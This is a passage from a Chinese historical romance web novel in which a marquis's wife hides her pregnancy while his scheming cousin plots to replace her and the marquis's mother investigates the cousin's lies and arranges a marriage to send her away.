而纪萝也在等着赵承嘉回来,怀了身子的消息,她想亲口告知赵承嘉。 传来的消息是说半夜才能到,也正因着这个时辰宫门已经下钥,所以安排赵承嘉明日一早再入宫诉职,这也算体恤他数日奔波辛劳,而侯府的人包括赵倩桐在内却是从用过晚膳后便开始等着了。 几人一同在正厅等着,赵倩桐向来是个话多的,于是时不时便与纪萝低声说些小话,王氏坐在上边见两人难得这般关系和谐的样子,倒也没说什么。 她虽向来是瞧不上纪萝的,可到底纪萝已经嫁入侯府,这事是变不了的,若是赵倩桐与纪萝日日争斗,她也觉得心烦,总不如家中和谐的好。 赵倩桐想起纪萝腹中的孩子,眼看时辰已经不早,便忍不住压低声音道:“嫂子不如先回去歇着,毕竟你腹中还有孩子,怕是不能熬的。” 纪萝摇摇头,正欲说些什么,便见外间有人匆匆进来禀报,“侯爷到了,侯爷到了!” “可算是到了!”王氏满脸笑容地迎了上去,纪萝与赵倩桐也跟着一同出去。 可赵承嘉下了马之后,却从一旁马车上搀下来一人,正是王玉盈。 瞧清楚王玉盈面容的一瞬,王氏脸上的笑意僵了僵,可到底没发作,只上前问道:“阿盈,你怎么是与承嘉一同回来的?” 她记得,当初王玉盈可是说要回王家的。 身后赵倩桐瞧见这般景象也不由皱了皱眉,她有些担心地看向一旁的纪萝,可纪萝好似只是神色微微沉了沉,倒是并未说什么。 而王玉盈还未解释什么,一旁赵承嘉却先开了口,“是我路过王家将阿盈接回来的。” 王氏的目光从王玉盈身上移开,却是也没有再多问了,只道:“回来了就好,这几日路途奔波,定是累坏了吧,我令厨房备下了吃食,吃点东西稍稍垫一垫肚子便去歇着罢。” 一路奔波,他们确实许久没有好好用些东西了,于是便点头应着。 之后王氏令厨房的人将早已备下的膳食送过来,等赵承嘉与王玉盈用过之后 才各自歇下。 而王氏回了华庆院之后却冷下脸将秋和唤了进来,“我记得库房中还有一支品相不错的人参,明日你拿了送到王家去,那李氏久病初愈,正是需要养身子的时候,这人参正是用得上的。” 秋和听王氏如此吩咐,也知她起了试探的心思,于是应道:“奴婢明白。” 翌日,秋和便依着王氏的意思将那人参送到了王家。 王家的下人知是永宁侯府的人过来,自是客气相迎。 “这是我们老夫人特意送来的人参。”秋和故意道:“听说府中夫人一直病着,我们老夫人便特意吩咐我送了这上好的人参过来,说是给夫人补身子。” 王家的下人一听这话神色却有些古怪,他迟疑道:“夫人身子康健,并未有什么病症啊。” 秋和一听这话心里便明白过来,但她也并未拆穿,只笑着道:“那应当是我们老夫人记错了,这人参既是已经拿来了,断没有再拿回去的道理,还是给夫人养身子也是好的。” 说罢,就要告辞离开。 王家那下人忙道:“秋和姐姐不去见过我们夫人么?” 秋和却摇头道:“我们老夫人还交代了旁的事,怕是不能耽搁。” 如此,王家下人也不好再多说,只能又将人送到了门口。 回了永宁侯府后,秋和便将这来龙去脉与王氏尽数说了。 王氏听完这些话,脸色越发不好,她冷哼一声道:“前头与我说要归家我只觉她孝顺,却不想竟是存了这样的心思,难怪我与她提了几回说要再为她择选一位合适的夫婿,可她却总说并无心此事,我想着她才和离不久,没有这心思也是正常,却不想她哪里是没有这心思,分明是早有了人选。” “竟是盯上了承嘉!” 王玉盈其实原本也不是不能先回了王家,等上几日后再来永宁侯府,便是要费些心神来圆了这个谎话。 可偏偏王玉盈存了想让纪萝知道点什么的念头。 从前她在纪萝面前总是落了下风,几乎每一回,赵承嘉都毫不掩饰的在她们二人之间选了纪萝,这令王玉盈心底很是不甘。 分明从前的赵承嘉满心满眼都唯有她一人,如今却将她弃之如敝履,这令她心下如何不挫败? 如今总算是赢了一回,若要让她悄无声息地将这件事掩过去,她却是不愿的。 至于王氏,她总以为只要好生解释,应当还是会愿意信她的。 可不想此时王氏却已经知晓她用的手段,得知这般被蒙蔽算计,王氏也不是多好性的,哪里能忍得下去? 秋和在一旁斟酌着道:“奴婢瞧着经此一番,侯爷对表小姐似乎也多了几分维护心思,不会是……” 王氏抬眸冷冷地看了一眼秋和,“她是成过一回婚的,便是要入侯府做妾都是不成,承嘉如今才在朝中有了些功绩,不知有多少双眼睛盯着,若是纳了个才与旁人和离的妾室,还不知要被人怎么编排,若是说成她还未和离时就与承嘉有些牵扯,岂不是麻烦?” 她往日就算对王玉盈再如何怜惜,于她而言最要紧的定然还是赵承嘉这个儿子。 只要是会伤到赵承嘉利益,伤到永宁侯府利益的,她自是无法忍下。 “其实若只是她有这般心思,倒也不至于成了事。”王氏冷静下来思忖,“我只令她回王家去,想来她纵然再有心思,也使不出什么手段来,可若是她勾得承嘉也存了这念头,那这事就麻烦些了。” 秋和亦是道:“侯爷若是打定主意要将表小姐留在身边,您不允,恐怕还要伤了您与侯爷之间的母子情谊,况且侯爷那样的性子,您又如何能令他改了心思?” 王氏静默片刻,再看向秋和吩咐道:“你去打听打听,上京还有哪些世家公子是未成婚的。” 秋和意会到王氏的意思,连忙应了个“是”,正要去办这事,却又听王氏叫住她,提醒道:“莫要家世高了的。” 若是家世高了,又哪里能瞧得上王玉盈这般小门小户,甚至还成过一回婚的? 王氏如此说,也是想省些麻烦,能尽快将这事定下来便罢了。 不过这般,却不能急着将王玉盈赶走,否则恐怕还不好作安排,但想来此时若是要令王玉盈归家,承嘉怕也是不会答应,这般想来只能让她暂时先留下了。 王氏想着,秋和已是答应下来。 可秋和前脚刚出了院子,王玉盈后脚便到了。 她肩膀处的伤势瞧着唬人,其实并不算严重,如今已经大多痊愈结痂,只是依旧用着药,怕是少不了要留下疤痕的。 对此,王玉盈倒是并不在意,她甚至想着,若是着疤痕彻底消了,赵承嘉便会往自己自己为他付出过什么,唯有这疤痕一直存在着,才能永远提醒着赵承嘉不会忘记。 只是她从昨日夜里回来之后便一直记挂着王氏这边。 今日一早原本是像往常一般要过来请安的。 只是王氏不愿意见她,便令底下人寻了由头糊弄过去。 王玉盈倒是没有勉强,只是午后又寻了个时辰过来。 王氏听得底下人禀报,也知自己一直避而不见也是个法子,于是还是松了口让她进来。 王玉盈早准备好了说辞,这会儿一进来便先向王氏跪下,“姑母,阿盈错了,还请姑母原谅。” 她这举动倒是令王氏有些意外,原以为她是一开口便要扯谎的,却不想她竟是这般跪下了,瞧着难道是要认下这过错? 王氏微微挑眉,也没让她起身来,只问道:“那你自个说说,你错在了何处?” 她若是当真认下了这事,保证往后再不会有这般念头,最好再马上动身回了王家去,如此,王氏还当真能高看她一眼,当她至少是个敢做敢认的。 可王玉盈虽做出这般姿态来,却并未有要认下这事的意思,只道:“表哥前去剿匪,姑母这些时日应当最是忧心,阿盈万万不当在这时归了家,应当陪在姑母身边……” 听她说到此处,王氏便已经无心听她继续说下去了,不耐烦地打断道:“这样的假话你就不必在我面前说了。” 王玉盈没想到王氏从前待她那样好,这会儿却是连她的话都不愿意听,话语更是分毫不曾客气,面色也不由有些难堪,还想开口解释些什么,却又听王氏冷笑道:“你这话里到底有几分真几分假你自个心里也明白的,若是只想着用这话来糊弄我却是不必。” 王玉盈脸色发白,小心翼翼唤了声,“姑母……” 可王氏并未再因她此时的柔弱模样再软下心肠来,甚至下了逐客令,“我今日约了几位夫人打牌,也没心思与你在这当口浪费时间,你若是没别的事就先回去歇着吧。” 王玉盈哪里还敢再说什么,心里虽憋屈得不行,可面上还不能显露什么,只能勉强应着离了华庆院。 等回了观荷院,她才能将心头的火气发泄出来,“我上赶着过去同她道歉,都给她跪下了,她竟是半分都不肯留下情面!” 凝芳听王玉盈一开口便说出这般话语来,顿时唬了一跳,慌忙出去看了看左右,确定四下无人才松了口气,又小心翼翼将门带上才算安了心。 王玉盈却依旧止不住怨恨道:“往日一副对我多好多好的模样,可也就这一回,却是连让我说机会都不给。” 说到此处,王玉盈却忽地想起什么来,猛然看向凝芳道:“你说她这般笃定,是不是当真已经知道什么了?” 凝芳愣住,“可咱们不是昨夜才回来么,即便老夫人当真怀疑什么要去调查,这一时半会也没法当真查出什么来吧。” 王玉盈猛然捏紧手中的帕子,“你去向家中传个消息,问问今日是不是有侯府的人去过。” “姑娘的意思是说老夫人怕已经是去府中打听过消息了?”凝芳闻言颇为意外。 王玉盈却也不是笃定此事,只是咬牙道:“若不是那就最好了,我原来以为她对我这样好,再如何不至于那样快查清楚这事始末,可眼下看来果真如我当初所言,若我有心与表哥在一起,她是如 何都不会应允的。” “也罢,这事她迟早也是要知道的,眼下不过提早些罢了,眼下她既是没将我赶出侯府,说明心下也明白她儿子心里有我,既是如此,我还省了与她虚与委蛇的心思!” 凝芳听着,却有些迟疑道:“可若是老夫人其实并未令人去过王府……” “那便与我母亲通个气。”王玉盈冷冷瞥了凝芳一眼,“告诉她无论如何都不好露了馅,否则这事对她那个儿子也是没好处的。” 凝芳心下明白,连忙应了下来。 *** 青萝院。 昨日那一番景象落在纪萝眼中,她自是也觉察出古怪来了。 她早听说王玉盈是回了王家,当时虽有些意外,想着这段时日王氏正因赵承嘉前去剿匪之事日日担忧,王玉盈在王氏面前向来是最为乖顺体贴的,这时不更应当陪在王氏身边,博取王氏的喜爱? 可偏偏却在这时候回了王家,实在是奇怪。 不过彼时纪萝也只是觉得意外罢了,倒也并未深究什么,可却再如何也想不到她竟会同去剿匪的赵承嘉一块回来。 而赵承嘉那副对王玉盈颇为维护的模样,若说他们这段时日当真什么事都没有发生怕也是无人愿意相信的。 可偏偏王玉盈如今却也没有半分要以这事作为威胁的意思,到这会儿依旧是悄无声息地。 纪萝轻抚着腹部,心底头一回觉得这孩子来得,似乎有些不合时宜了。 她原来是那样希望能尽快与赵承嘉有个孩子,可如今,她的目光移向窗外,窗外春色正好,冬日里枯败的枝头都发了新芽,明明是一副生机盎然的景象,可她的心口却忽地收紧,连喘息都变得很是艰难。 赵承嘉与王玉盈之间的情事,她原本便是知道的,只是以为后来二人各自婚娶,这件事便早已过去。 可眼下看来,真的过去了么? 还是那些情意始终藏于心底,只需一道细缝,便汹涌地蔓延开来。 若是赵承嘉有纳妾心思,纪萝并非不会让步。 可若有心思,总该大方坦诚,但如今赵承嘉与王玉盈这般做派,倒像是……瞧不上妾室的位置。 纪萝眼底闪过一丝冷色,瞧不上妾室的位置,所以要做的是侯夫人么? 若是如此,许多事好像就能解释得通了。 她要的是个妾室的位置,那自是容易,即便王氏不允,只要赵承嘉点了头,这事就能定下。 可若她成了妾室,在纪萝面前却依旧是低了一头的。 她只想要这个位置,是万万不会几次三番在纪萝面前得意,毕竟纪萝始终是正室夫人,她这般不将纪萝放在眼里,往后的日子怕也不会好过。 唯有她一心想着正室夫人的位置,等她占了这个位置,纪萝的下场必不会好,那她又何须再将纪萝放在眼里? 王玉盈心底是如此想的,那赵承嘉呢? 纪萝盯着窗外那一片绿意,久久不曾回过神来。 外间正有脚步声响起,芸枝快一步进来禀报,说是赵承嘉到了。 纪萝一愣,便见赵承嘉已是迈步走了进来。 芸枝过去见了礼,赵承嘉却摆手令她退下,而后向纪萝走来,随口道:“这些时日我都不在府中,府中应当都还算太平罢。” 侯府中大小事物向来都是纪萝在管着,所以赵承嘉若是想知道什么,都只问纪萝便足够。 纪萝勉强回了心神,回道:“府中诸事都好。” 赵承嘉颔首,坐下后又问道:“可用过晚膳了。” 纪萝早些时辰简单用过了膳食,便也点头。 赵承嘉自也是用了晚膳过来的,他稍坐了一会,才又问道:“可沐浴过了?” 纪萝抬眸看向他,虽是点了头,可看起来脸色却有些不大好。 赵承嘉往日与纪萝虽也不算多话,可两人待在一处,却无论做些什么都不至于像如今一般尴尬。 这令赵承嘉有些不习惯。 可想起昨夜的事,他心底又仿佛有了答案。 他当着纪萝的面这般维护王玉盈,大约惹得她不快了。 其实昨夜他帮着王玉盈扯了谎之后心里也隐约有些后悔,毕竟彼时王氏与纪萝都在,可他想着王玉盈是因着他受了伤,就总觉得应当为她做点什么,见王氏质问,才一时没忍住替她做了解释。 此时想到这般缘由,赵承嘉的神色也缓和许多。 他伸手去拉纪萝的手,纪萝没来得及避开,便听他道:“阿萝,昨夜我确实说了谎话,这是因着表妹他在这次剿匪中帮了我极大的忙,母亲这般责问,我总不好不管的。” 纪萝没想到他会与自己解释,倒是有些意外。 事已至此,其实王玉盈为何回谎称归家,可其实却去见了赵承嘉,两人在剿匪途中又到底发生了何事都已经没有那么重要了。 但纪萝还是想知道,赵承嘉到底是如何想的,于是她抬眸看着眼前人,“所以侯爷,心里当真没有玉盈表妹么?” 那桩久远的,隐秘的情事,到底是已经彻底灰飞烟灭,还是仅仅只是隐藏于他的心底。 对上那双澄澈的眸子,赵承嘉一时说不出话来,他别开目光试图解释些什么,可纪萝却将目光落在他怀中不小心露出来的半截墨蓝色的穗子上。 这个穗子她曾经见过的,赵承嘉生辰那日,王玉盈赠出的玉佩上就挂着这样一道穗子。 可那块玉佩,不是当着他们的面被摔得粉碎了么? 是了,那日夜里的赵承嘉虽陪着自己回了青萝院,但后来却又匆匆离开。 那块玉佩,便是那时被他捡起,而后……贴身放置。 只是几个呼吸间,纪萝的心思百转千回,到最后,她已经不知自己该用什么神色来面对眼前人才对了。 她原本是想告知赵承嘉怀了身子的喜讯,可眼下,她半个字也说不出口。 她甚至有些怀疑,这个消息对于赵承嘉而言,当真会是喜讯么? 对于她自己而言呢? 她极轻地叹了口气,“侯爷心里,是有表妹的罢。” 这一回,并非是询问,而是肯定的答案。 第24章 赵承嘉眼底闪过一丝显而易见的慌乱,即便他反应极快地掩饰了过去,可依旧被纪萝看得分明。 赵承嘉定然是不会承认的,他甚至因为纪萝这般语气而生出些不耐烦来,“昨夜的事我不是与你解释过了么,表妹帮了我不小的忙,我只是为她解释了一句,也未曾有其他出格举动,怎地落在你眼中就成了我与她有私情了?” 他眸色定定地落在纪萝身上,“阿萝,你从前不是这样的性子。” 赵承嘉不仅没有承认,甚至将一切尽数推到了纪萝身上。 好似说出这句话的纪萝才是一切错误的根源。 纪萝觉得有些好笑,可牵了牵嘴角,却怎地都笑不出来。 赵承嘉却好似被她这般沉默不言的模样彻底触怒了一般,他冷冷瞥了纪萝一眼,道:“这些事,你自己好生想想罢!” 而后便转身出了青萝院。 在他看来,这算是对纪萝的惩罚,可他不知,在他离去的一瞬,纪萝反而松了口气。 她觉得心底都轻松了许多。 *** 赵承嘉一早便来向谢元墨禀报过剿匪之事,纵然谢元墨并不喜赵承嘉,可却也不能否认这事他确实办得妥当。 这一伙匪徒做了不少伤天害理之事,如今彻底清除,也算了却了一桩心事。 于是该给的赏赐自是一样也不曾少。 了却这事之后谢元墨心底却并未松懈下来。 从他继任之后其实动了不少人的利益,无论是朝中官员,还是一些世家之人,对他不满的都不在少数。 时候久了,他们便不免存了别的念头。 觉得若重新拥护一位君主便能解了眼下的困境,而被他们所拥立之人定然也早对 他们许下承诺,让他们能分得更多利益,如此,他们才能死心塌地地拥护那人。 谢元墨心里其实早有怀疑。 他的皇叔,也就是景王谢晟在他登基之处就明里暗里表露过几回不满,到如今那些心思更是已经不再掩藏。 或许他一早便得了世家拥护,连同一些曾被谢元墨削了利益的官员也一副忠心耿耿模样,如此,便令他更是肆无忌惮。 但却还不曾有大动作。 所以谢元墨即便什么都知道,却偏偏不能让他伏诛,心底也甚为烦恼。 总想着,或许应当主动给他一个契机才是。 青萝院。 纪萝往华庆院请过安之后半道上便遇见了赵倩桐。 赵倩桐近些时日已经与纪萝很是熟络,一见纪萝,赵倩桐便快步上前来与她说话,“嫂子,怎么样,孩子的事可与我哥说了?他定是欢喜地不行吧?” 纪萝神色一顿,而后轻轻摇头,“还不曾告诉他。” “为何?”赵倩桐显然不曾想到纪萝竟还不曾将此事告知赵承嘉,一时颇为意外。 “这事暂时不急着与他说。”纪萝其实也不知该如何与赵倩桐解释,只能道:“孩子才怀上,总不算稳妥,若是空欢喜一场反而不好。” 赵倩桐显然很是不理解,“可这样的好事总瞒着也不成啊!” 纪萝道:“等寻了合适的机会我会与他们说的。” 说罢,她又看向赵倩桐,神色也不觉认真了几分,“还望妹妹得先替我瞒着。” 除却纪萝身边的人外,现在知晓她怀了身子的也就唯有赵倩桐一人了,只要她瞒住,便也就不会有旁人知晓此事。 赵倩桐虽越发不明白纪萝心底所想,可听她如此说了却也还是点头答应,“嫂子既然不想我告知旁人,那我不说便是。” 纪萝见她应下,这才放下心来。 至于这事具体到底要隐瞒到何时候,其实纪萝心里也并未有一个答案。 只是她觉得,至少现在,她并不想让此事被旁人知晓。 而正在她们说话的当口,王玉盈却恰好走了过来。 她面上堆着笑意,左右看了看两人后道:“我记着嫂子原本与倩桐妹妹的关系是很不好的,怎地才不见了几日,如今竟是能在一块好好说话了?” 她这话看似没有恶意,其实却是在提醒赵倩桐过往的事。 赵倩桐若是与纪萝关系好,那无形间她便又多了一个敌人,这于她而言自然不是好事。 所以此时她过来,也是存了挑拨心思。 可哪里想到赵倩桐一听这话非但没有向纪萝发作,反而看向王玉盈,语气嘲讽道:“谁说不是,只要家中没有向表姐这般喜欢挑拨是非的人在,我与嫂子关系要多和睦便有多和睦!” 王玉盈没想到赵倩桐竟会这般不留情面,一时神色极为难堪,半晌没说出话来。 赵倩桐却也并不想与她多说,只拉着纪萝道,“嫂子,我们走!” 王玉盈立在原地,看着两人有说有笑的远去,不由气得用力地跺了跺脚,一旁凝露目光追着二人远去的背影,也忍不住道:“这纪氏到底是使了什么手段,竟能让原本这样厌恶她的赵倩桐转了心思?” 王玉盈冷哼一声,“就算她再有手段又如何,表哥如今心思尽数在我身上,用不了多久,我定能将她赶出侯府!” 说罢,她转头回了观荷院。 她这一趟过来原本也是要去给王氏请安的。 只是王氏不乐意见她,连同华庆院的几个下人对她的态度也冷了下来。 她心里原本就憋着气,偏偏也发作不出来,眼下瞧见素来不和的赵倩桐与纪萝也缓和了关系,自是更为憋屈。 好在眼下赵承嘉的心思还是在她身上的。 这般想着,心底也算能有些宽慰了。 回了观荷院后,王家那边也传了消息过来,王玉盈拆了那信一瞧,果真是王氏一早安排了人过去打听。 王家那边的下人什么也不知,自然不免说漏了嘴。 显然李氏也意识到了这事怕是出了岔子,所以言语之间颇为慌乱,甚至说让她舍弃这般念头。 毕竟眼下王氏已经知晓了她们打算,恐怕是不会留情面。 她虽想借着这个机会能得些好处,可却也害怕这事不成,反而将永宁侯府得罪了个彻底,到时候王绍的仕途,怕就更难了。 到最后,李氏又絮絮叨叨的说了许多,无非是她们王家势弱,得罪不起永宁侯府之类。 王玉盈看着越发心烦意乱,只向凝芳道:“你去给来人带句话,就让他与我母亲说,诸事我都已安排妥当,她往后只要管好底下的人,便不会出什么岔子,让她放好自己的心,不必现在便先乱了心神!” 凝芳应了声“是”,可却没有动作,反而欲言又止地看向王玉盈,好似有什么话要说却又不敢说。 王玉盈见她这副模样,自然也没脸色,皱眉道:“还有什么事?” 凝芳不敢再不说,只能道:“传话的人好似是……是咱们公子底下的人,说是还要问您讨一笔银子,依旧是之前的那些说辞,这银子怕是不能不给了他。” 凝芳也知方才李氏的那封信正让王玉盈心底憋着一团火气,所以即便知晓这事不能不与她说,却也总不敢开口。 这会儿将话说出口,凝芳甚至是不敢去看王玉盈脸色的。 好在王玉盈竟也忍下了心头的火气,咬牙道:“给他罢,眼里只有利益算计,一家子都是这样的东西!” 她这话却是不仅将李氏与王绍骂了进去,竟是连她自己也不曾放过。 凝芳不敢再多说什么,连忙应着便匆匆去了。 凝芳才走了不久,王玉盈心底的火气也还没缓和过来,华庆院却在这时来了人,且还是王氏跟前的秋和。 王玉盈只得努力挤出笑意来,“秋和姑姑怎么过来了?” 秋和到底是王氏身边的老人,虽因着王玉盈那般做派对她也颇为瞧不上,可这会儿却也不曾表露出什么来,依旧一如往日般笑着道:“老夫人请您过去一趟。” 王玉盈听着倒是觉得奇怪,今日一早她其实是去过华庆院的,只是她甚至连王氏的面也不曾见着。 那会儿传话的下人虽说出了个缘由来,可王玉盈却也知道那不过是表面的说辞罢了,实际上无论是华庆院的这些人,还是王玉盈自己都明白,王氏因为前头那桩事与她起了嫌隙,暂时是不愿见她了。 可偏偏这会儿却又让身边的贴身婢子过来请她过去一趟。 实在是古怪事。 想到此处,王玉盈免不了多问了一句,“姑母可说是什么事?” 可秋和哪里会与她多说,只皮笑肉不笑道:“主子的事奴婢不敢多问,老夫人还在等着表小姐,表小姐还是快些过去罢。” 王玉盈无法,只得勉强应下。 等到了华庆院,王氏也正在正厅等着。 她原本确实是不乐意见王玉盈的。 只要见了王玉盈,便不免想起那档子事,所以不如索性避开。 可偏偏秋和办事用心,早膳后便过来向她禀告,说是已经依着她的意思在上京世家公子中选出了几位算是不错的,或许可以安排给王玉盈相看相看。 王氏原本便想尽快将王玉盈打发了出去,不至于后头再出了岔子,听了这消息也就没再耽误,直接吩咐秋和去将王玉盈唤来。 王玉盈到了王氏跟前,尽管依旧像从前一般做出亲近模样来,可王氏几乎不曾伪装的嫌恶却让 她也不由有些难堪。 但也只能忍着。 王氏瞥了她一眼,皮笑肉不笑地牵了牵嘴角,道:“前头不是与你说过,我会给你寻一个不错的夫婿么,你不在的这几日我去向各位夫人了解了下,倒是有几位公子算是不错。” 王玉盈愣住,她没想到王氏突然唤她过来是为了这事。 之前王氏倒是确实与她说过,说是要给她寻一个好夫婿,只是王玉盈早已选定了赵承嘉,王氏这话她自然是只敷衍了过去,彼时的王氏只觉得她才和离,无心这些事也是正常,所以便将这事放在了一边。 但眼下再度提及,却并非那样好说话地先问过了她的意思,而只是通知她这回事而已。 说罢,王氏也确实不等王玉盈如何说就令秋和将那几张画像拿了过来,“你瞧瞧。” 王玉盈只得接过了那几张画像粗略了地瞧了过去,每张画像上都标明了上边人名讳身份,显然身份都是不高的,唯一几个身份能越得过去王家的,要么便是相貌连端正都算不上,要么便是年岁足足大了她一轮,哪里算是什么好夫婿? 王玉盈用力捏紧了那几张画像,嘴唇都要生生咬出血来才算忍下质问王氏的冲动。 而王氏却只是轻描淡写地抿了口茶水,道:“怎么?这些都瞧不上?” 王玉盈没应声,王氏却状似无奈地叹了口气,“阿盈啊,也并非是姑母不用心,只是这择选夫婿不仅要看旁人如何,也要看看自个如何才成,你家世不高,又是成了一回婚的了,再说你与袁庆生三年都无所出,那些身份高些的世家公子,即便有心娶你,家里也是不会答应的。” “就这些,少不了还是看着永宁侯府的颜面才或许肯应下。” 赵承嘉才立下功绩,在朝中确实有了些地位,自然也多了些有巴结想法之人。 若是王玉盈没有与永宁侯府的这一层关系,这些人还当真不一定能瞧得上王玉盈。 王氏说得虽是实话,可这话也实在难听,令王玉盈的脸上一阵青白,最终是对着王氏跪了下去,“阿盈多谢姑母筹谋,只是阿盈才和离不久,眼下还并无这般心思……” 她一时情急,却也想不出什么更好的理由来了。 原先这样的话是能糊弄住王氏的,可现在王氏却是半个字也不会信了。 不过她也没拆穿王玉盈的意思,只定定地看了她一会,而后道:“还是再多想想罢,凡事总要给自己留条后路的。” 王玉盈还想再解释些什么,可王氏却道:“先回去吧,回去好好想想。” 王玉盈要说出口的那些话哽在了喉咙里,最终也只能勉强咽了下去,低声应了个“是”。 从华庆院出来后,王玉盈甚至连发脾气的气力都没有了。 凝露在她身后跟着,小心翼翼地觑了她的脸色好几回,却始终不敢开口说什么。 等快到观荷院时,王玉盈才突然开口问道:“这个时辰,侯爷可回来了?” 凝露算了算时辰,摇头道:“大约还要一会。” 王玉盈踏进里间,“你等会去给侯爷递个消息,说我想见他。” 凝露应道:“是。” *** 华庆院。 王玉盈走后,王氏却吩咐人直接将那些画像送去了王家。 给王玉盈过眼,其实也算给她机会,若她能识趣些,王氏即便稍稍念着过往的情谊,也愿意在她的事情上边多费点心思。 可王玉盈却依旧一心想着攀附侯府,如此,王氏便也不再留什么情面了。 那几张画像最终是送到了李氏手中。 李氏原本才得知王氏来家中打听过的消息,便已经是乱了心神,后来即便王玉盈再传话回来,她心下也始终不安。 毕竟从王玉盈与她提及这想法也已经有好些时日了,这事始终没有进展不说,更是连王氏都不曾瞒住。 王氏是万万不会让这样的事发生的,所以在李氏这儿,这事怕是早已无了成事的可能。 她现在更怕的是王玉盈始终不肯放弃这想法,反而更是将永宁侯府得罪了个彻底,到时候就当真是一点回转的可能也无了。 正当她焦躁不安,甚至想着莫不如索性亲自去见一见王氏,将一切说明了,再将王玉盈带回来的时候,底下人却进来传话,竟说是王氏送了东西过来? “快拿来我瞧瞧。”李氏的额角已经是冒出了冷汗来。 永宁侯府送来的东西向来是好东西,只是她能不能消受得起却是不好说了。 画像是秋和亲自送来的,这也是王氏的意思,秋和对画像中的这些公子算是了解,到时候见了李氏,也好一一为她做个介绍。 这些个世家公子,王玉盈有了赵承嘉做比较,自然是一个也瞧不上的,可李氏却未必瞧不上。 说不定还能欢天喜地地应下来呢! “这些是……”李氏接过了画像,却显然还有些回不过神来。 秋和笑着道:“这是我们老夫人为表小姐择选的夫婿,表小姐脸皮薄,总不好自己做主,所以我们老夫人拿来给您过过眼,说这事总归是父母之命媒妁之言,还是得您看得上才成。” 一句“父母之命媒妁之言”,便是言明了这事根本无需王玉盈答应,任凭她如何想,只要王家这边没意见,也就算是成了。 李氏这才明白过来,忙展开那画像细细看了。 秋和在一旁也跟着做了介绍,李氏每翻开一人画像,秋和便跟着介绍起这人来,不仅是身份官职,连同家中是否有妻妾都一并说了,算是了解得颇为细致了。 李氏听着,却是直到这画像只余下最后一张才停了下来。 她听得秋和道:“这位孙公子是年纪稍大些的,前头娶了位妻子,但已经亡故,家中唯有一个妾室,倒也不是多情的性子,主要是这孙公子的家世算不错的,又是家中唯一的嫡子……” 这一番话停下来,李氏心里其实已经有了主意,“这位……孙公子,可是也对我们玉盈有意?” 这种事光是她愿意是不成的,总还得看看那位孙公子如何说。 “这……”秋和道:“怕是须得我们老夫人去说些好话。” 秋和是个稳重端庄,做事说话向来也谨慎稳妥,此时哪怕是再如何瞧不上秋和,却也不曾说出什么贬低的话语来。 只是此时如实地应了李氏一句,却还是将王玉盈踩进了泥地里。 算是明晃晃说明,像王玉盈这般的,便是配这已经成过一回婚的,都还要看在永宁侯府的面子上,人家或许才肯应下。 李氏脸上挤出干巴的笑意,她虽然听出这层意思,可却也不敢说什么,甚至只能点头应着,“那这事还要麻烦老夫人。” 秋和听这李氏的意思,竟是认定了这位孙公子了,虽说有些意外,可细想之下也能理解。 王玉盈到底家世不高又成过一回婚,而这位孙公子虽年岁稍大了些,可父亲却是正经的朝中四品官员,便是前头亡故了一个妻子,寻常的人却也是难以攀附的。 莫说是王玉盈,其实即便是上京一些还出阁的小姑娘,有心嫁入孙府做续弦的也是有的,这些事李氏或许知道的不算多,但却也是听过的。 现在王氏令人将画像送来,想来至少是有成事的希望,李氏不想放过了这个机会。 秋和见李氏这般识趣,也自然答应着,“如此,那我便将您的意思转告给老夫人。” 李氏又连连道谢,这才将秋和送走。 *** 入夜。 半轮弯月高高悬挂着,朦胧的光亮洒下来,落在王玉盈素色的衣襟上。 来之前,她在镜子面前来回照了许久,不论怎么瞧,她都觉得自个的身形比之从前臃肿了些。 算算日子,她也怀了这孩子有两月余了,好在她原本就是纤细的身子,现在即便稍稍有些显身子,旁人瞧着也无论如何都不至于想到是怀了身子,只会觉得她这些时日大约吃得不错,身子丰腴了些罢了。 可偏偏王玉盈一心想着在赵承嘉面前扮作病弱模样,若是身子比之从前还丰腴许多,那如何能惹得他生出怜爱来? 所以她狠了心拿了布条缠在腰间,才算勉强勒出了纤细的腰肢来。 她虽不记得纪萝会怀上那个命中注定孩子的具体时间,可她知道,大约用不了多久了。 好在借着剿匪的机会她算是彻底与赵承嘉解开了过往的心结,甚至还令赵承嘉误以为他们两人曾亲近过,也对她多了几分愧疚。 之后,她便要借着这几分愧疚,一点点地向上攀爬,直至坐上那个位置,坐稳那个位置。 她上辈子过得那么苦,这辈子,该轮到她享一享这荣华富贵了。 王玉盈正如此想着,假山后传来一阵脚步声响,她下意识抬眼望去,正是赵承嘉。 她缓步上前,柔声道:“表哥,你来了。” 赵承嘉其实并不想在侯府与王玉盈见面的。 他维护王玉盈那一回已经令纪萝起了疑心,再在侯府见面显然有些风险,他不想再闹出是非来。 可想起那日夜里的事,赵承嘉到底还是来了。 有些话,他想着,或许还是要当面才能说清楚。 “阿盈。”赵承嘉微微皱眉,“往后在侯府,我们最好还是不要私下见面了,人多眼杂,万一被别有用心的人瞧见总是不好。” 王玉盈没想到赵承嘉开口第一句说的却是指责的话。 为了见赵承嘉,她不仅费心将腰间勒得甚为纤细,甚至还故意在妆容上费了功夫,故意做出憔悴模样来。 却不想她费的这些功夫根本没有让赵承嘉多看她一眼,更不要说如何怜惜她了。 可偏偏王玉盈不能将心头的憋屈说出口来,只能乖顺地应着,“阿盈知道,只是……只是今日姑母唤阿盈去了华庆院,却说是想给阿盈安排一桩婚事。” “母亲要给你安排婚事?”赵承嘉听了这话倒是有些意外。 王玉盈眼眶微红,点了点头道:“阿盈说无心这事,可姑母却好似打定了主意要将这事定下,竟是不容阿盈反驳。” 赵承嘉想起素日王氏是如何维护王玉盈,却又觉得有些不相信,摇了摇头道:“怕是你会错了意罢,你若无此想法,母亲必不会逼着你的。” “可……可是……”王玉盈着急地想说些什么,可偏偏碍于她如今在赵承嘉面前向来是乖顺听话的性子,更是事事都以赵承嘉为先的,若是此时一口咬定王氏要算计了她,怕是让赵承嘉心底也会起疑,所以这会儿她竟是说不出话来。 见她吞吞吐吐,赵承嘉索性道:“若是你担心,不如我索性安排你回王家去住一段时日,如此,即便我母亲再有心安排,也不至于将手伸到王家去。” 他这已经算是在为王玉盈考虑了。 可王玉盈听着这话,心却越发冷了下来。 她来向赵承嘉寻求帮助,想要的自然是赵承嘉对她的怜惜与维护。 甚至给她一个念想,告诉她,有朝一日他会给她那个位置。 对于那个位置,王玉盈确实表现出并不在意的模样,她一遍又一遍的在赵承嘉耳边说,她不在意那些什么名分,什么地位,唯一想要的,不过是能留在他身边,能偶尔见到他,就已经心满意足。 可她可以这样说,赵承嘉却不能当真全然没有这样的想法。 